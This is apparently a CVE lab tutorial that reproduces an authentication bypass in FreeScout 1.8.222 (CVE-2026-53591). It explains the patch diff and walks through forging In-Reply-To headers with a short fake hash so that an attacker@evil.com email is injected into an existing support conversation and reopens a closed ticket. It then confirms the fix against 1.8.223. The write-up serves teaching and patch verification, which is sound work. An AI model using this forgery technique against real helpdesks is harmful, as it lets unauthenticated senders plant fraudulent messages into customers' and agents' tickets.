Labs

CVE-2026-53591: FreeScout Unauthenticated Conversation Injection

Docker lab Authentication Bypass

Updated August 23, 2026 · Written by PWNMI — see About.

FreeScout signs every outgoing reply's Message-ID with a server-side secret specifically so that when a customer's mail client echoes it back in In-Reply-To, FreeScout can cryptographically prove the reply really answers a message it sent — not just trust whatever thread id shows up in an email header. CVE-2026-53591 is what happens when a "backward compatibility" branch, written for an edge case that no longer applies, quietly skips that proof for one specific shape of forged input.

This lab uses a real vulnerable build of FreeScout, running fully isolated with no ports exposed beyond the Docker host itself. Affects FreeScout 1.8.222 and earlier, fixed in 1.8.223. No public PoC existed for this CVE — it was independently developed here directly from the upstream patch diff. Patch commit: 875ab40. GHSA advisory: GHSA-8vm3-wwq4-ggfx.

What you'll practice: reading a patch diff backward to reconstruct the vulnerability it fixes, recognizing when a length check is silently doing the job of a signature check (and what happens when an attacker just avoids that length), and proving a vulnerability's real effect with a differential test — running the identical attack against the patched version and confirming the outcome actually changes.

Set up the lab

New to Docker or git, or unsure what the commands below are actually doing? See Docker for Security Labs and Git for Security Work first.

Get the lab files from pwnmihq/resources:

git clone --filter=blob:none --sparse https://github.com/pwnmihq/resources
cd resources
git sparse-checkout set cve-labs/CVE-2026-53591
cd cve-labs/CVE-2026-53591
docker compose up -d --build

This builds and starts three services: MySQL, a minimal Dovecot IMAP server standing in for the helpdesk's configured mailbox, and FreeScout 1.8.222 (built from source at the exact tag immediately before the fix). No ports are published — reach FreeScout on its own container IP:

IP=$(docker inspect $(docker compose ps -q freescout) --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}')
CONTAINER=$(docker compose ps -q freescout)

On first boot the entrypoint does the setup work for you, entirely through FreeScout's own real code paths — nothing is hand-inserted into the database:

  1. Creates one IMAP-connected mailbox (an ordinary admin action, not part of the vulnerable path).
  2. Delivers a legitimate customer email over IMAP and runs freescout:fetch-emails, so FreeScout organically creates a real conversation and its first thread.
  3. Crafts a forged attacker email — In-Reply-To: <FS_reply-{that_thread_id}-x@freescout.local>, with a deliberately invalid, one-character fake hash segment — referencing the real thread id from step 2, and delivers it to the mailbox over IMAP. It is not auto-fetched, so triggering the actual attack stays an explicit, visible step later.

Watch the seeding finish and note the thread id it targets:

docker compose logs freescout | grep -E "thread_id|conversation_id"

Understanding the vulnerability

When a customer's mail client replies to a FreeScout notification, the reply's In-Reply-To header echoes back the Message-ID FreeScout itself generated for the original message, in the format <FS_reply-{thread_id}-{hash}@domain>. That hash isn't decorative — it's substr(md5($thread_id . config('app.key')), 0, 16), a 16-character signature keyed on the server's own secret APP_KEY. When FreeScout receives a reply, it recomputes that hash from the thread id in the URL and compares it against the hash the client sent back. A match proves the reply really corresponds to a message FreeScout issued for that exact thread; nothing else does, since a thread id by itself is just a small guessable integer.

app/Console/Commands/FetchEmails.php::processMessage() implements that check like this (pre-patch):

preg_match('/^'.$prefix."\-(\d+)\-([a-z0-9]+)@/", $prev_message_id, $m);
if (!empty($m[1]) && !empty($m[2])) {
    $message_id_hash = $m[2];
    if (strlen($message_id_hash) == 16) {
        if ($message_id_hash == \MailHelper::getMessageIdHash($m[1])) {
            $prev_thread_id = $m[1];
        }
    } else {
        // Backward compatibility.
        $prev_thread_id = $m[1];
    }
}

The regex's hash-capture group, ([a-z0-9]+), accepts one or more characters — not exactly 16. The real signature check only runs inside the strlen(...) == 16 branch. Anything else — a fake hash that's one character, or twenty — falls into the else branch, labeled "Backward compatibility," which sets $prev_thread_id = $m[1] unconditionally, with no signature check at all. The regex only requires the thread id itself to be numeric. An attacker doesn't need to know the server's APP_KEY, forge a valid MD5 output, or guess anything cryptographic — they just need their fake hash segment to not happen to be exactly 16 characters, which is trivial to guarantee on purpose.

From there, FreeScout treats $prev_thread_id as verified. processMessage() looks up that thread's conversation, creates a new thread on it with the attacker's own From address and message body, updates last_reply_at/last_reply_from, and — if the conversation was closed — flips its status back to active:

if ($conversation->status != Conversation::STATUS_ACTIVE && $conversation->status != Conversation::STATUS_SPAM) {
    $conversation->status = \Eventy::filter('conversation.status_changing', Conversation::STATUS_ACTIVE, $conversation);
}

One email, one guessed integer, zero valid signatures: an unauthenticated sender can inject a message into any existing conversation and reopen it if it had been closed.

Exploitation

Confirm the version and the pre-attack state directly from the database, not the UI:

docker compose exec freescout grep -A1 "'version'" config/app.php
docker compose exec -T db mysql -ufreescout -pfreescoutpass freescout \
  -e "SELECT id,subject,status FROM conversations; SELECT id,conversation_id,`from` AS sender_from,body FROM threads;"

One real conversation exists, created from the legitimate customer email, with one thread. The forged attacker email is already sitting in the IMAP mailbox (delivered by the entrypoint), waiting to be fetched. Trigger the attack — this is the exact command a cron job would run automatically in production:

docker compose exec freescout php artisan freescout:fetch-emails

Check the database again:

docker compose exec -T db mysql -ufreescout -pfreescoutpass freescout \
  -e "SELECT id,conversation_id,`from` AS sender_from,body FROM threads;"

A new thread now exists inside the original conversation, from = attacker@evil.com, body containing the attacker's injected content — despite the forged email supplying an invalid, one-character hash and having no prior relationship to that conversation at all.

Now confirm the reopening behavior specifically. Close the conversation the way an agent resolving a ticket would:

docker compose exec -T db mysql -ufreescout -pfreescoutpass freescout \
  -e "UPDATE conversations SET status=3 WHERE id=1;"

Deliver the second forged email (same target thread id, a different invalid hash) and fetch again:

docker compose cp freescout/mail_attack2.eml.tmpl $CONTAINER:/tmp/mail_attack2.eml
docker compose exec freescout sh -c "sed -i \"s/__THREAD_ID__/1/g\" /tmp/mail_attack2.eml"
docker compose exec freescout python3 imap_append.py /tmp/mail_attack2.eml
docker compose exec freescout php artisan freescout:fetch-emails
docker compose exec -T db mysql -ufreescout -pfreescoutpass freescout \
  -e "SELECT id,status FROM conversations WHERE id=1;"

status flips from 3 (closed) back to 1 (active) — an unauthenticated attacker just reopened a resolved support ticket and injected a second message into it.

Prove it's the actual patch that matters, not a fluke of this environment. Build a second, byte-identical stack pinned to 1.8.223 instead:

docker compose -p labpatched build --build-arg FS_TAG=1.8.223
docker compose -p labpatched up -d

Run the identical setup and attack sequence against it. The result flips exactly as the code diff predicts: the forged email with the invalid hash creates a new, unrelated conversation instead of threading into the original one, and the original conversation — left closed — stays closed. Same IMAP sidecar, same MySQL image, same forged email content, same commands; the only difference between the two runs is the one-line-per-branch diff this lab is built from.

Cleanup

Unlike a pure data-extraction bug, this exploit leaves real, persistent artifacts on the target: a new thread row (or several) inside a real conversation, attributed to an identity the attacker chose, and — if the conversation had been closed — a status flip back to active that an agent didn't make. None of this is a self-inflicted verification artifact; it's exactly what the CVE describes happening to a real support ticket.

To revert: delete the injected thread row(s) (DELETE FROM threads WHERE id IN (...), using the ids identified from the from = attacker@evil.com rows above — never a blanket delete, since the conversation's own legitimate history has to stay intact), and if the conversation's status was flipped by the injection, restore it to whatever an agent actually intended (closed, if it was closed before the forgery). Do the thread deletion first — a resolved ticket that quietly reopened is the actively misleading state (an agent might reasonably act on it, e.g. process the attacker's fake refund request), so get the fabricated content out before touching status, and confirm no agent has already responded to the injected thread before removing it.

Tear the lab down when you're done:

docker compose down -v

If you built the patched comparison stack, also run docker compose -p labpatched down -v.

Lessons worth keeping

  • A comment that says "backward compatibility" is a place to look for a bypass, not a place to stop reading. This exact branch existed to handle a legacy hash format — but "handle the legacy case" and "skip the check entirely" ended up being the same code, because nobody constrained what counted as legacy.
  • A regex that's looser than the value it's supposed to validate creates the bypass by itself. The signature is always exactly 16 characters. The regex capturing it, ([a-z0-9]+), accepts any length — the mismatch between those two facts is the entire vulnerability, independent of anything about MD5 or APP_KEY.
  • Proving a fix works is proving the specific mechanism, not just re-running the exploit and seeing it fail. The differential test here didn't just confirm 1.8.223 "isn't vulnerable" — it confirmed the exact predicted behavior change (new conversation instead of injection, status untouched instead of reopened), which is much stronger evidence that the right mechanism was identified.

Next step

For another FreeScout CVE reproduced the same way — this time an account takeover instead of message injection — see CVE-2026-53595 (FreeScout). For the discipline of keeping a foothold and documenting exactly what was changed on a target, see Maintaining Access and Persistence.